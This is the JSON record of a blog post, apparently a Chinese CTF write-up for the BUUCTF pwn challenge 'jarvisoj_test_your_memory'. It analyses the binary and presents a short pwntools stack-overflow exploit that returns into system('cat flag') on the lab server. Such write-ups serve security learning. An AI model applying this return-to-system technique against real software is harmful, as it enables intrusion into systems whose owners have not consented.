{"id":63,"date":"2025-07-20T14:30:10","date_gmt":"2025-07-20T06:30:10","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=63"},"modified":"2025-07-20T14:30:11","modified_gmt":"2025-07-20T06:30:11","slug":"buuctfjarvisoj_test_your_memory","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/20\/buuctfjarvisoj_test_your_memory\/","title":{"rendered":"buuctf:jarvisoj_test_your_memory"},"content":{"rendered":"\n

1.\u5206\u6790<\/h2>\n\n\n\n

\u5148checksec:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5f00\u4e86\u5806\u6808\u4e0d\u53ef\u6267\u884c\uff0c\u6682\u65f6\u4e0d\u8003\u8651shellcode\uff0c\u53bbida\u770b\u770b<\/p>\n\n\n\n

main\u51fd\u6570\u597d\u50cf\u662f\u6253\u51fa\u51e0\u4e2a\u968f\u673a\u7684\u5b57\u7b26<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


mem_test\u51fd\u6570\u5c31\u662f\u8ba9\u6211\u4eec\u8f93\u5165\uff0c\u7136\u540e\u6bd4\u8f83\u6211\u4eec\u7684\u8f93\u5165\u4e0e\u4e4b\u524d\u7684\u5b57\u7b26\u4e32\u662f\u5426\u76f8\u540c\uff0c\u4f46\u662f\u6ca1\u5565\u7528\uff0c\u5e76\u4e0d\u5f71\u54cd\u7a0b\u5e8f\u8fdb\u884c<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


win_fun\u5c31\u662fsystem()\uff0c\u8fd9\u9053\u9898\u5c31\u6709\u7709\u76ee\u4e86<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u5c31\u7528\u6808\u6ea2\u51fa\u52a0system(‘cat flag’)<\/p>\n\n\n\n

2.\u5b9e\u64cd<\/h2>\n\n\n\n

\u6ea2\u51fa\u5c31\u662f0x13+4<\/p>\n\n\n\n

\u8df3\u5230system\uff1a0x8048440<\/p>\n\n\n\n

\u8fd4\u56de\u5730\u5740\uff1a0x8048677\uff08main\uff09<\/p>\n\n\n\n

cat flag\u7684\u5730\u5740\uff1a0x80487E0<\/p>\n\n\n\n

from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",27459)\n\nsys=0x8048440\ncat=0x80487E0\nmain=0x8048677\n\npayload=b'a'*(0x13+4)+p32(sys)+p32(main)+p32(cat)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
1.\u5206\u6790 \u5148checksec: \u5f00\u4e86\u5806\u6808\u4e0d\u53ef\u6267\u884c\uff0c\u6682\u65f6\u4e0d\u8003\u8651shellcode\uff0c\u53bbida\u770b\u770b main\u51fd\u6570\u597d\u50cf […]<\/p>\n","protected":false},"author":1,"featured_media":33,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-63","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/63","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=63"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/63\/revisions"}],"predecessor-version":[{"id":70,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/63\/revisions\/70"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/33"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=63"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=63"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=63"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}